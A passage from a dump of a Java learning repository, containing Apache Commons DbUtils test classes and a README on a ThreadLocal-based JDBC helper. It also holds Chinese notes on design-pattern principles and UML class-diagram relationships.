mm.keySet().iterator();\n\t\twhile (it.hasNext()) {\n\t\t\tMap m1 = mm.get(it.next());\n\t\t\tSystem.err.println(m1.get(\"id\") + \",\" + m1.get(\"name\") + \",\" + m1.get(\"pwd\"));\n\t\t}\n\n\t}\n\n\t// 返回Map一行\n\t@Test\n\tpublic void query51() throws Exception {\n\t\tQueryRunner run = new QueryRunner();\n\t\tString sql = \"SELECT u.name as uname,c.name as cname\" + \" FROM users u INNER JOIN contacts c ON u.id=c.uid where u.id='U001'\";\n\t\tSystem.err.println(sql);\n\t\tMap<String, Object> mm = run.query(sql, new MapHandler());\n\t\tSystem.err.println(mm);\n\t}\n\n\t@Test\n\tpublic void query61() throws Exception {\n\t\tQueryRunner run = new QueryRunner();\n\t\tString sql = \"SELECT u.name as uname,c.name as cname\" + \" FROM users u INNER JOIN contacts c ON u.id=c.uid\";\n\t\tSystem.err.println(sql);\n\t\tList<Map<String, Object>> mm = run.query(sql, new MapListHandler());\n\t\tSystem.err.println(mm);\n\t}\n\n\t/*\n\t * @Test public void query7() throws Exception{ QueryRunner run = new\n\t * QueryRunner(); String sql = \"select count(*) from contacts\"; Object o =\n\t * run.query(sql,new ScalarHandler()); Integer ss =\n\t * Integer.valueOf(o.toString()); System.err.println(ss); }\n\t * \n\t * @Test public void query8() throws Exception{ QueryRunner run = new\n\t * QueryRunner(); String sql =\n\t * \"select id as cid,name as cname,tel as ctel,sex from contacts\";\n\t * List<Contact> cs = run.query(sql,new\n\t * BeanListHandler<Contact>(Contact.class)); System.err.println(cs); }\n\t */\n\n\t/*\n\t * @Test public void query9() throws Exception{ QueryRunner run = new\n\t * QueryRunner(); String sql = \"select * from contacts\"; List<Contact> cs =\n\t * run.query(sql, new ResultSetHandler<List<Contact>>(){\n\t * \n\t * @Override public List<Contact> handle(ResultSet rs) throws SQLException {\n\t * List<Contact> list = new ArrayList<Contact>(); while(rs.next()){ Contact\n\t * c = new Contact(); c.setCid(rs.getString(\"name\"));\n\t * c.setCname(rs.getString(\"id\")); c.setCtel(rs.getString(\"tel\"));\n\t * list.add(c); } return list; } }); System.err.println(\">>>:\"+cs); }\n\t */\n\n\t// 封装成唯一的一个bean\n\t/*\n\t * @Test public void query2() throws Exception{ QueryRunner run = new\n\t * QueryRunner(); String sql = \"select * from users where id=?\"; User user =\n\t * run.query(sql,new BeanHandler<User>(User.class),\"U003\");\n\t * System.err.println(user); }\n\t */\n\t/**\n\t * 查询返回List< Bean>\n\t * \n\t * @throws Exception\n\t */\n\t/*\n\t * @Test public void query3() throws Exception{ QueryRunner run = new\n\t * QueryRunner(); String sql = \"select * from users\" ; List<User> us =\n\t * run.query(sql,new BeanListHandler<User>(User.class)); for(User u:us){\n\t * System.err.println(u); }\n\t * \n\t * }\n\t */\n\n\t@Test\n\tpublic void insert188() throws Exception {\n\t\tQueryRunner run = new QueryRunner();\n\t\tString sql = \"insert into users values('U002','李四','888')\";\n\t\trun.update(sql);\n\t}\n\n\t// 接收?\n\t@Test\n\tpublic void insert288() throws Exception {\n\t\tQueryRunner run = new QueryRunner();\n\t\tString sql = \"insert into users values(?,?,?)\";\n\t\trun.update(sql, \"U003\", \"王五\", \"7777\");\n\t}\n\n\t// 删除\n\t@Test\n\tpublic void del188() throws Exception {\n\t\tQueryRunner run = new QueryRunner();\n\t\tString sql = \"delete from users where name=?\";\n\t\tint len = run.update(sql, \"李四\");\n\t\tSystem.err.println(len);\n\t}\n\n\t@Test\n\tpublic void udpate881() throws Exception {\n\t\tQueryRunner run = new QueryRunner();\n\t\tString sql = \"update users set name=? where id=?\";\n\t\trun.update(sql, \"赵'七\", \"U001\");\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/test/java/DbUtilTest.java",
    "content": "\n\nimport java.sql.Connection;\nimport java.sql.SQLException;\nimport java.util.Iterator;\nimport java.util.List;\nimport java.util.Map;\n\nimport org.apache.commons.dbutils.QueryRunner;\nimport org.apache.commons.dbutils.handlers.ColumnListHandler;\nimport org.apache.commons.dbutils.handlers.KeyedHandler;\nimport org.apache.commons.dbutils.handlers.ScalarHandler;\n\nimport com.jun.plugin.dbutils.dto.UserDto;\nimport com.jun.plugin.dbutils.utils.DbBuilder;\n\npublic class DbUtilTest {\n\t\n\n\tpublic static void main(String[] args) {\n\t\ttry {\n\t\t\tSystem.out.println(DbBuilder.getCount(\"select count(*) from T_USER\"));\n\n\t\t\t// 返回ArrayHandler结果,第一行结果：Object[]\n\t\t\tSystem.out.println(\"返回ArrayHandler结果......\");\n\t\t\tObject[] arrayResult = DbBuilder.getFirstRowArray(\"select * from T_USER where id=2\");\n\t\t\tQueryRunner runner = DbBuilder.getQueryRunner();\n\t\t\tfor (int i = 0; i < arrayResult.length; i++) {\n\t\t\t\tSystem.out.print(arrayResult[i] + \"    \");\n\t\t\t}\n\t\t\tSystem.out.println();\n\n\t\t\t// 返回ArrayListHandler结果\n\t\t\tSystem.out.println(\"返回ArrayListHandler结果.........\");\n\t\t\tList<Object[]> arrayListResult = DbBuilder.getListArray(\"select * from T_USER\");\n\t\t\tfor (int i = 0; i < arrayListResult.size(); i++) {\n\t\t\t\tfor (int j = 0; j < arrayListResult.get(i).length; j++) {\n\t\t\t\t\tSystem.out.print(arrayListResult.get(i)[j] + \"    \");\n\t\t\t\t}\n\t\t\t\tSystem.out.println();\n\t\t\t}\n\t\t\tSystem.out.println();\n\n\t\t\t// 返回bean\n\t\t\tUserDto user = DbBuilder.getBean(\"select * from T_USER where Id=?\", UserDto.class, 1);\n\t\t\tSystem.out.println(user.getUsername());\n\n\t\t\t// 返回beanlist\n\t\t\tSystem.out.println(\"返回BeanList结果......\");\n\t\t\tList<UserDto> beanListResult = DbBuilder.getListBean(\"select * from T_USER\", UserDto.class);\n\t\t\tIterator<UserDto> iter_beanList = beanListResult.iterator();\n\t\t\twhile (iter_beanList.hasNext()) {\n\t\t\t\tSystem.out.println(iter_beanList.next().getUsername());\n\t\t\t}\n\n\t\t\t// 返回指定列\n\t\t\tSystem.out.println(\"返回ColumnList结果......\");\n\t\t\tList<Object> columnResult = runner.query(\"select * from T_USER\", new ColumnListHandler<Object>(\"username\"));\n\t\t\tIterator<Object> iter = columnResult.iterator();\n\t\t\twhile (iter.hasNext()) {\n\t\t\t\tSystem.out.println(iter.next());\n\t\t\t}\n\n\t\t\t// 返回KeyedHandler结果：Map<Object,Map<String,Object>>：map的key为KeyedHandler指定\n\t\t\tSystem.out.println(\"返回KeyedHandler结果.........\");\n\t\t\tMap<Object, Map<String, Object>> keyedResult = runner.query(\"select * from T_USER\", new KeyedHandler<Object>(\n\t\t\t\t\t\"username\"));\n\t\t\tSystem.out.println(keyedResult.get(\"username\"));\n\n\t\t\t// MapHandler\n\t\t\tSystem.out.println(\"返回MapHandler结果.........\");\n\t\t\tMap<String, Object> mapResult = DbBuilder.getFirstRowMap(\"select * from T_USER\");\n\t\t\tIterator<String> iter_mapResult = mapResult.keySet().iterator();\n\t\t\twhile (iter_mapResult.hasNext()) {\n\t\t\t\tSystem.out.print(mapResult.get(iter_mapResult.next()) + \"   \");\n\t\t\t}\n\t\t\tSystem.out.println();\n\n\t\t\t// 返回MapListHandler结果\n\t\t\tSystem.out.println(\"返回MapListHandler结果.........\");\n\t\t\tList<Map<String, Object>> mapListResult = DbBuilder.getListMap(\"select * from T_USER\");\n\t\t\tfor (int i = 0; i < mapListResult.size(); i++) {\n\t\t\t\tIterator<String> values = mapListResult.get(i).keySet().iterator();\n\t\t\t\twhile (values.hasNext()) {\n\t\t\t\t\tSystem.out.print(mapListResult.get(i).get(values.next()) + \"   \");\n\t\t\t\t}\n\t\t\t\tSystem.out.println();\n\t\t\t}\n\t\t\tConnection conn = DbBuilder.getConnection();\n\t\t\tDbBuilder.beginTransaction(conn);\n\t\t\tSystem.out.println(DbBuilder.save(conn,\"insert into t_user(username,password) values(?,?)\", \"demo\", \"demo\"));\n\t\t\tDbBuilder.commit(conn);\n\t\t\tDbBuilder.close(conn);\n\t\t\tObject increaseId = runner.query(\"select last_insert_id()\", new ScalarHandler<Object>());\n\t\t\tSystem.out.println(increaseId);\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/test/java/HandlerTest.java",
    "content": "import org.apache.commons.dbutils.QueryRunner;\nimport org.apache.commons.dbutils.handlers.BeanListHandler;\nimport org.apache.commons.dbutils.handlers.MapHandler;\nimport org.apache.commons.dbutils.handlers.MapListHandler;\nimport org.apache.commons.dbutils.handlers.ScalarHandler;\nimport org.junit.Test;\n\nimport com.jun.plugin.dbutils.jdbc.JdbcUtils;\n\nimport java.sql.SQLException;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * Created by chenghui.zhang on 2018/2/10.\n */\npublic class HandlerTest {\n\n    /**\n     * BeanListHandler的应用，它是多行处理器\n     * 每行对象一个Stu对象！\n     *\n     * @throws Exception\n     */\n    @Test\n    public void fun3() throws Exception {\n        QueryRunner qr = new QueryRunner(JdbcUtils.getDataSource());\n        String sql = \"select * from user\";\n        List<User> stuList = qr.query(sql, new BeanListHandler<>(User.class));\n\n        System.out.println(stuList);\n    }\n\n    /**\n     * MapHandler的应用，它是单行处理器，把一行转换成一个Map对象\n     *\n     * @throws SQLException\n     */\n    @Test\n    public void fun4() throws SQLException {\n        QueryRunner qr = new QueryRunner(JdbcUtils.getDataSource());\n        String sql = \"select * from user where uid=?\";\n        Object[] params = {1001};\n        Map map = qr.query(sql, new MapHandler(), params);\n\n        System.out.println(map);\n    }\n\n    /**\n     * MapListHandler，它是多行处理器，把每行都转换成一个Map，即List<Map>\n     *\n     * @throws SQLException\n     */\n    @Test\n    public void fun5() throws SQLException {\n        QueryRunner qr = new QueryRunner(JdbcUtils.getDataSource());\n        String sql = \"select * from user\";\n        List<Map<String, Object>> mapList = qr.query(sql, new MapListHandler());\n\n        System.out.println(mapList);\n    }\n\n    /**\n     * ScalarHandler，它是单行单列时使用，最为合适！\n     *\n     * @throws SQLException\n     */\n    @Test\n    public void fun6() throws SQLException {\n        QueryRunner qr = new QueryRunner(JdbcUtils.getDataSource());\n        String sql = \"select count(*) from user\";\n      /*\n       * Integer、Long、BigInteger\n       */\n        Number cnt = (Number) qr.query(sql, new ScalarHandler());\n\n        long c = cnt.longValue();\n        System.out.println(c);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/test/java/User.java",
    "content": "/**\n * Created by chenghui.zhang on 2018/2/10.\n */\npublic class User {\n    private Long uid;\n    private String username;\n    private String gender;\n    private Integer age;\n\n    public Long getUid() {\n        return uid;\n    }\n\n    public void setUid(Long uid) {\n        this.uid = uid;\n    }\n\n    public String getUsername() {\n        return username;\n    }\n\n    public void setUsername(String username) {\n        this.username = username;\n    }\n\n    public String getGender() {\n        return gender;\n    }\n\n    public void setGender(String gender) {\n        this.gender = gender;\n    }\n\n    public Integer getAge() {\n        return age;\n    }\n\n    public void setAge(Integer age) {\n        this.age = age;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/test/java/jdbc/HandlerTest.java",
    "content": "package jdbc;\nimport org.apache.commons.dbutils.QueryRunner;\nimport org.apache.commons.dbutils.handlers.BeanListHandler;\nimport org.apache.commons.dbutils.handlers.MapHandler;\nimport org.apache.commons.dbutils.handlers.MapListHandler;\nimport org.apache.commons.dbutils.handlers.ScalarHandler;\nimport org.junit.Test;\n\nimport com.jun.plugin.dbutils.jdbc.JdbcUtils;\n\nimport java.sql.SQLException;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * Created by chenghui.zhang on 2018/2/10.\n */\npublic class HandlerTest {\n\n    /**\n     * BeanListHandler的应用，它是多行处理器\n     * 每行对象一个Stu对象！\n     *\n     * @throws Exception\n     */\n    @Test\n    public void fun3() throws Exception {\n        QueryRunner qr = new QueryRunner(JdbcUtils.getDataSource());\n        String sql = \"select * from user\";\n        List<User> stuList = qr.query(sql, new BeanListHandler<>(User.class));\n\n        System.out.println(stuList);\n    }\n\n    /**\n     * MapHandler的应用，它是单行处理器，把一行转换成一个Map对象\n     *\n     * @throws SQLException\n     */\n    @Test\n    public void fun4() throws SQLException {\n        QueryRunner qr = new QueryRunner(JdbcUtils.getDataSource());\n        String sql = \"select * from user where uid=?\";\n        Object[] params = {1001};\n        Map map = qr.query(sql, new MapHandler(), params);\n\n        System.out.println(map);\n    }\n\n    /**\n     * MapListHandler，它是多行处理器，把每行都转换成一个Map，即List<Map>\n     *\n     * @throws SQLException\n     */\n    @Test\n    public void fun5() throws SQLException {\n        QueryRunner qr = new QueryRunner(JdbcUtils.getDataSource());\n        String sql = \"select * from user\";\n        List<Map<String, Object>> mapList = qr.query(sql, new MapListHandler());\n\n        System.out.println(mapList);\n    }\n\n    /**\n     * ScalarHandler，它是单行单列时使用，最为合适！\n     *\n     * @throws SQLException\n     */\n    @Test\n    public void fun6() throws SQLException {\n        QueryRunner qr = new QueryRunner(JdbcUtils.getDataSource());\n        String sql = \"select count(*) from user\";\n      /*\n       * Integer、Long、BigInteger\n       */\n        Number cnt = (Number) qr.query(sql, new ScalarHandler());\n\n        long c = cnt.longValue();\n        System.out.println(c);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/test/java/jdbc/README.md",
    "content": "# jdbc-utils\n\nJdbc-utils 工具利用 ThreadLocal 使其获取的数据库连接具有事务性，并解决并发的问题，继承 commons-dbutils 的 QueryRunner 类，再复写它的方法，复写方法中用 Jdbc-utils  提供具有事务的连接对象，这样就实现了方法本身自动处理连接对象，使操作数据库的代码更加优雅！\n\n\n\n### ThreadLocal\n\nThreadLocal 类只有三个方法：\n\n```java\nvoid set(T value); //保存值\nT get(); //获取值\nvoid remove(); //移除值\n```\n\nThreadLocal 内部其实是个 Map 来保存数据。虽然在使用 ThreadLocal 时只给出了值，没有给出键，其实它内部使用了当前线程做为键。\n\n![threadlocal](https://raw.githubusercontent.com/objcoding/objcoding.github.io/master/images/threadlocal.png)\n\n\n\n### QueryRunner API\n\n- update\n\n```java\nint update(String sql, Object... params); //可执行增、删、改语句\nint update(Connection con, String sql, Object... parmas); //需要调用者提供Connection，这说明本方法不再管理Connection了。支持事务!\n```\n\n- query\n\n```java\nT query(String sql, ResultSetHandler rsh, Object... params); //可执行查询，它会先得到ResultSet，然后调用rsh的handle()把rs转换成需要的类型！\nT query(Connection con, String sql, ResultSetHadler rsh, Object... params); //支持事务。\n```\n\n\n\n### ResultSetHandler 接口\n\n- BeanHandler  (单行) --> 构造器需要一个 Class 类型的参数，用来把一行结果转换成指定类型的 javaBean 对象；\n\n\n- BeanListHandler (多行) --> 构造器也是需要一个 Class 类型的参数，用来把一行结果集转换成一个javabean，那么多行就是转换成 List 对象，一堆 javabean；\n\n\n\n- MapHandler (单行) --> 把一行结果集转换Map对象：\n\n\n一行记录：\n\n| uid  | username  | age  | gender |\n| ---- | --------- | ---- | ------ |\n| 1001 | objcoding | 18   | Male   |\n\n对应一个Map：\n\n```json\n{uid:1001, username:zs, age:99, gender:male}\n```\n\n- MapListHandler (多行) --> 把一行记录转换成一个 Map，多行就是多个 Map，即 List<Map>！ScalarHandler (单行单列) --> 通常用与 select count(*) from user 语句！结果集是单行单列的！它返回一个 Object。"
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/test/java/jdbc/User.java",
    "content": "package jdbc;\n/**\n * Created by chenghui.zhang on 2018/2/10.\n */\npublic class User {\n    private Long uid;\n    private String username;\n    private String gender;\n    private Integer age;\n\n    public Long getUid() {\n        return uid;\n    }\n\n    public void setUid(Long uid) {\n        this.uid = uid;\n    }\n\n    public String getUsername() {\n        return username;\n    }\n\n    public void setUsername(String username) {\n        this.username = username;\n    }\n\n    public String getGender() {\n        return gender;\n    }\n\n    public void setGender(String gender) {\n        this.gender = gender;\n    }\n\n    public Integer getAge() {\n        return age;\n    }\n\n    public void setAge(Integer age) {\n        this.age = age;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/PRINCIPLE.md",
    "content": "# 设计模式七大原则\n\n### 设计模式的目的\n\n* 代码重用性：相同功能的代码，不用多次编写\n* 可读性：编程规范性，便于其他程序员的阅读和理解\n* 可扩展性：当需要增加新的功能时，非常的方便，称为可维护\n* 可靠性：当增加新的功能后，对原来的功能没有影响\n\n使程序呈现**高内聚，低耦合**的特性\n\n### 设计原则核心思想\n\n* 找出应用中可能需要变化之处，把他们独立出来，不要和那些不需要变化的代码混在一起\n* 针对接口编程，而不是针对实现编程\n* 为了交互对象之间的松耦合设计而努力\n\n### 常用的七大原则\n\n1. 单一职责原则\n2. 接口隔离原则\n3. 抵赖倒转原则\n4. 里氏替换原则\n5. 开闭原则\n6. 迪米特法则\n7. 合成复用原则\n\n# 单一职责原则\n\n### 基本介绍\n\n对类来说，即一个类应该只负责一项职责（并不表示一个类里面只有一个方法）。\n如类A负责两个不同职责：职责1，职责2.当职责1需求变更而改变A时，可能造成职责2执行错误，\n所以需要将类A的粒度分解为A1，A2。\n\n### 注意事项和细节\n\n* 降低类的复杂度，一个类只负责一项职责\n* 提高类的可读性，可维护性\n* 降低变更引起的风险\n* 通常情况下，我们应当遵守单一职责原则，只有逻辑足够简单，才可以在代码级违反单一职责原则；\n只有类中方法数据足够少，可以在方法级别保持单一职责原则\n\n# 接口隔离原则\n\n### 基本介绍\n\n客户端不应该以来它不需要的接口，即一个类对另一个类的依赖应该建立在最小的接口上\n\n### 应对传统方法的问题\n\n类A通过接口`Interface1`依赖类B，类C通过`Interface1`依赖类D，\n如果接口`Interface1`对于类A和类C来说不是最小接口，那么类B和类D必须去实现他们不需要的方法\n\n### 使用接口隔离原则改进\n\n* 类A通过接口`Interface1`依赖类B，类C通过`Interface1`依赖类D，\n如果接口`Interface1`对于类A和类C来说不是最小接口，那么类B和类D必须去实现他们不需要的方法\n* 将接口`Interface1`拆分为独立的几个接口，类A和类C分别于他们需要的接口建立依赖关系。\n也就是采用接口隔离原则\n* 接口`Interface1`中出现的方法，根据实际情况拆分为三个接口`Interface1`，`Interface2`，`Interface3`\n\n# 依赖倒转原则\n\n### 基本介绍\n\n* 高层模块不应该依赖底层模块，二者都应该依赖其抽象\n* 抽象不应该依赖细节，细节应该依赖抽象\n* 依赖倒转的中心思想是面向接口编程\n* 相对于细节的多变性，抽象的东西要稳定的多。以抽象为基础搭建的架构比以细节为基础的架构要稳定的多。\n在java中，抽象指的是接口或抽象类，细节就是具体的实现类\n* 使用接口或抽象类的目的是制定好规范，而不涉及任务具体的操作，把展现细节的任务交给他们的实现类去完成\n\n### 依赖关系传递的三种方式\n\n* 接口传递\n* 构造方法传递\n* setter方式传递\n\n### 注意事项和细节\n\n* 底层模块尽量都要有抽象类或接口，或者两者都有，程序稳定性更好\n* 变量的声明类型尽量是抽象类或接口，这样我们的变量引用和实现对接间，就存在一个缓冲层，利于程序扩展和优化\n* 继承时遵循里氏替换原则\n\n# 里氏替换原则\n\n### 面向对象中的继承性的思考和说明\n\n* 继承包含这样一层含义：父类中凡是已经实现好的方法，实际上是在设定规范和契约，虽然它不强制要求所有的子类必须遵守这些契约，\n但是如果子类对这些已经实现的方法任意修改，就会对整个继承体系造成破坏\n* 继承在给程序设计带来便利的同时，也带来了弊端。比如使用继承会给程序带来侵入性，程序的可移植性降低，增加对象间的耦合性，\n如果一个类被其他的类所继承，则当这个类需要修改时，必须考虑到所有的子类，并且父类修改后，所有涉及到子类的功能都有可能产生故障\n* 问题提出：在编程中，如果正确的使用继承？->**里氏替换原则**\n\n### 基本介绍\n\n* 里氏替换原则是在1988年，由麻省理工学院的一位姓里的女士提出的\n* 如果对每个类型为T1的对象O1，都有类型为T2的对象O2，使得以T1定义的所有程序P在所有的对象O1都代换成O2时，程序P的行为没有发生变化，\n那么类型T2是类型T1的子类型。换句话说，所有引用基类的地方必须能透明地使用其子类的对象\n* 在使用继承时，遵循里氏替换原则，在子类中尽量不要重写父类的方法\n* 里氏替换原则告诉我们，继承实际上让两个类耦合性增强了，在适当的情况下，可以通过聚合，组合，依赖来解决问题\n\n### 解决方法\n\n* 在实际编程中，我们常常会通过重写父类的方法完成新的功能，这样写起来虽然简单，但整个继承体系的复用性会比较差。\n特别是运行多态比较频繁的时候\n* 通用的做法是：原来的父类和子类都继承一个更通俗的基类，原有的继承关系去掉，采用依赖，聚合，组合等关系代替\n\n# 开闭原则\n\n### 基本介绍\n\n* 开闭原则是编程中最基础、最重要的设计原则\n* 一个软件实体如类、模块和函数应该对扩展开放，对修改关闭。用抽象构建框架，用实现扩展细节\n* 当软件需要变化时，尽量通过扩展软件实体的行为来实现变化，而不是通过修改已有的代码来实现变化\n* 编程中遵循其它原则，以及使用设计模式的目的就是遵循开闭原则\n\n# 迪米特法则\n\n### 基本介绍\n\n* 一个对象应该对其他对象保持最少的了解\n* 类与类关系越密切，耦合度越大\n* 迪米特法则又叫最少知道原则，即一个类对自己依赖的类知道的越少越好。也就是被依赖的类不管多么复杂，都尽量将逻辑封装在类的内部。\n对外除了提供的public方法，不对外泄露任何信息\n* 迪米特法则还有个更简单的定义：只与直接的朋友通信\n\n直接的朋友：每个对象都会与其他对象有耦合关系，只要两个对象之间有耦合关系，我们就说这两个对象之间是朋友关系。\n耦合的方式很多，依赖、关联、组合、聚合等。其中，我们称出现成员变量、方法参数、方法返回值的类为直接的朋友，而出现在局部变量中的类不是直接的朋友。\n也就是说，陌生的类最好不要以局部变量的形式出现在类的内部。\n\n### 注意事项和细节\n\n* 迪米特法则的核心是降低类之间的耦合\n* 但是注意：由于每个类都减少了不必要的依赖，因此迪米特法则只是要求降低类之间耦合关系，并不是要求完全没有依赖关系\n\n# 合成复用原则\n\n### 基本介绍\n\n合成复用原则：尽量使用合成、聚合的方式，而不是使用继承\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/README.md",
    "content": "整理JAVA的23种设计模式，以实例代码方式进行各种模式的讲解，掌握设计模式的思想，在实际项目中采用设计模式编写代码。\n\n创建型模式\n    Abstract Factory（抽象工厂）—对象创建型模式 57\n    Builder（生成器）—对象创建型模式 63\n    Factory Method（工厂方法）—对象创建型模式 70\n    Prototype（原型）—对象创建型模式 87\n    Singleton（单件）—对象创建型模式 84\n    创建型模式的讨论 89\n 结构型模式\n    Adapter（适配器）—类对象结构型模式 92\n    Bridge（桥接）—对象结构型模式 100\n    Composite（组成）—对象结构型模式 107\n    Decorator（装饰）—对象结构型模式 115\n    FACADE（外观）—对象结构型模式 121\n    Flyweight（享元）—对象结构型模式 128\n    Proxy（代理）—对象结构型模式 137\n    结构型模式的讨论 144\n    Adapter 与Bridge 144\n    Composite、Decorator 与Proxy 145\n行为模式\n    CHAIN OF RESPONSIBIL ITY（职责链）—对象行为型模式\n    COMMAND（命令）—对象行为型模式 154\n    INTERPRETER（解释器）—类行为型模式 162\n    ITERATOR（迭代器）—对象行为型模式 171\n    MEDIATOR（中介者）—对象行为型模式 181\n    MEMENTO（备忘录）—对象行为型模式 188\n    OBSERVER（观察者）—对象行为型模式 194\n    STATE（状态）—对象行为型模式 201\n    STRATEGY（策略）—对象行为型模式 208\n    TEMPLATE METHOD（模板方法）—类行为型模式 214\n    VISITOR（访问者）—对象行为型模式 218\n\n\n\n【学习建议】：\n在学习此事例代码的时候，建议按照下面的模式分类的顺序来一一学习，因为有的模式是参考上一个模式来进行演化讲解的，虽然可以单独去研究，但顺序学习更加容易一些。\n\n\n【设计模式的分类】：\n    0.总体来说设计模式分为三大类：\n    \n    1、创建型模式，共五种：工厂方法模式、抽象工厂模式、单例模式、建造者模式、原型模式。\n    \n    2、结构型模式，共七种：适配器模式、装饰器模式、代理模式、外观模式、桥接模式、组合模式、享元模式。\n    \n    3、行为型模式，共十一种：策略模式、模板方法模式、观察者模式、迭代子模式、责任链模式、命令模式、备忘录模式、状态模式、访问者模式、中介者模式、解释器模式。\n    \n    \n【设计模式的六大原则】：\n    .总原则：开闭原则（Open Close Principle）\n    .开闭原则就是说对扩展开放，对修改关闭。在程序需要进行拓展的时候，不能去修改原有的代码，而是要扩展原有代码，实现一个热插拔的效果。所以一句话概括就是：为了使程序的扩展性好，易于维护和升级。想要达到这样的效果，我们需要使用接口和抽象类等，后面的具体设计中我们会提到这点。\n    \n    1、单一职责原则\n       .不要存在多于一个导致类变更的原因，也就是说每个类应该实现单一的职责，如若不然，就应该把类拆分。\n\n    2、里氏替换原则（Liskov Substitution Principle）\n       .里氏代换原则(Liskov Substitution Principle LSP)面向对象设计的基本原则之一。 \n       .里氏代换原则中说，任何基类可以出现的地方，子类一定可以出现。\n       .LSP是继承复用的基石，只有当衍生类可以替换掉基类，软件单位的功能不受到影响时，基类才能真正被复用，而衍生类也能够在基类的基础上增加新的行为。\n       .里氏代换原则是对“开-闭”原则的补充。实现“开-闭”原则的关键步骤就是抽象化。而基类与子类的继承关系就是抽象化的具体实现，所以里氏代换原则是对实现抽象化的具体步骤的规范。\n       .历史替换原则中，子类对父类的方法尽量不要重写和重载。因为父类代表了定义好的结构，通过这个规范的接口与外界交互，子类不应该随便破坏它。\n\n    3、依赖倒转原则（Dependence Inversion Principle）\n       .这个是开闭原则的基础，具体内容：面向接口编程，依赖于抽象而不依赖于具体。写代码时用到具体类时，不与具体类交互，而与具体类的上层接口交互。\n\n    4、接口隔离原则（Interface Segregation Principle）\n      .这个原则的意思是：每个接口中不存在子类用不到却必须实现的方法，如果不然，就要将接口拆分。使用多个隔离的接口，比使用单个接口（多个接口方法集合到一个的接口）要好。\n\n    5、迪米特法则（最少知道原则）（Demeter Principle）\n       .就是说：一个类对自己依赖的类知道的越少越好。也就是说无论被依赖的类多么复杂，都应该将逻辑封装在方法的内部，通过public方法提供给外部。这样当被依赖的类变化时，才能最小的影响该类。\n       .最少知道原则的另一个表达方式是：只与直接的朋友通信。类之间只要有耦合关系，就叫朋友关系。耦合分为依赖、关联、聚合、组合等。我们称出现为成员变量、方法参数、方法返回值中的类为直接朋友。局部变量、临时变量则不是直接的朋友。我们要求陌生的类不要作为局部变量出现在类中。\n\n    6、合成复用原则（Composite Reuse Principle）\n       .原则是尽量首先使用合成/聚合的方式，而不是使用继承。\n\t   \n23种设计模式\n软件工程\nUMl设计的书籍\n版本控制\n编译原理\n算法设计与分析\nHTML5学习\nUML入门教程\n几种常用的排序方法\t   \n    "
  },
  {
    "path": "jun_java_plugins/jun_designpattern/UML.md",
    "content": "# UML介绍\n\n### 基本介绍\n\n* UML——Unified modeling language（统一建模语言），是一种用于软件系统分析和设计的语言工具，\n它用于帮助软件开发人员进行思考和记录思路的结果\n* UML本身是一套符号的规定，就像数学符号和化学符号一样，这些符号用于描述软件模型中的各个元素和他们之间的关系，\n比如类、接口、实现、泛化、依赖、组合、聚合等\n* 使用UML来建模，常用的工具有Rational Rose，也可以使用一些插件来建模\n\n### UML图\n\n画UML图与写文章差不多，都是把自己的思想描述给别人看，关键在于思路和条理\n\nUML图分类\n\n* 用例图\n* 静态结构图：类图、对象图、包图、组件图、部署图\n* 动态行为图：交互图（时序图与协作图）、状态图、活动图\n\n类图是描述类与类之间的关系的，是UML图中最核心的\n\n# 类图\n\n### UML类图\n\n* 用于描述系统中的类（对象）本身的组成和类（对象）之间的各种静态关系\n* 类之间的关系：依赖、泛化（继承）、实现、关联、聚合与组合\n\n```java\npublic class Person {\n\n    /**\n     * ID\n     */\n    private Integer id;\n    /**\n     * 名称\n     */\n    private String name;\n\n    public Integer getId() {\n        return id;\n    }\n\n    public void setId(Integer id) {\n        this.id = id;\n    }\n\n    public String getName() {\n        return name;\n    }\n\n    public void setName(String name) {\n        this.name = name;\n    }\n}\n```\n\n### 依赖关系\n\n只要是在类中用到了对方，那么他们之间就存在依赖关系。如果没有对方，连编译都通过不了\n\n```java\npublic class PersonServiceBean {\n\n    /**\n     * 以成员变量的形式 依赖了 PersonDao 类\n     */\n    private PersonDao personDao;\n\n    public void save(Person person) {\n        // 以方法参数的形式 依赖了 Person 类\n    }\n\n    public IdCard getIdCard(Integer personId) {\n        // 以方法返回类型的形式 依赖了 IdCard 类\n        return new IdCard();\n    }\n\n    public void modify() {\n        // 以局部变量的形式 依赖了 Department 类；这里违反了迪米特法则，但是依赖关系是存在的\n        Department department = new Department();\n    }\n}\n\nclass PersonDao {}\n\nclass IdCard {}\n\nclass Person {}\n\nclass Department {}\n```\n\n### 泛化关系\n\n泛化关系实际上就是继承关系，他是依赖关系的特例\n\n```java\npublic abstract class AbstractDaoSupport{\n    public void save(Object entity){\n        \n    }\n    \n    public void delete(Object id) {\n\n    }\n}\n\npublic class PersonServiceBean extends AbstractDaoSupport{\n    \n}\n```\n\n### 实现关系\n\n实现关系实际上就是A类实现B类，他是依赖关系的特例\n\n```java\npublic interface PersonService{\n    \n    void delete(Integer id);\n}\n\npublic class PersonServiceImpl implements PersonService{\n    \n    @Override\n    void delete(Integer id) {\n\n    }\n    \n}\n```\n\n### 关联关系\n\n关联关系就是类与类之间的联系，他是依赖关系的特例\n\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/pom.xml",
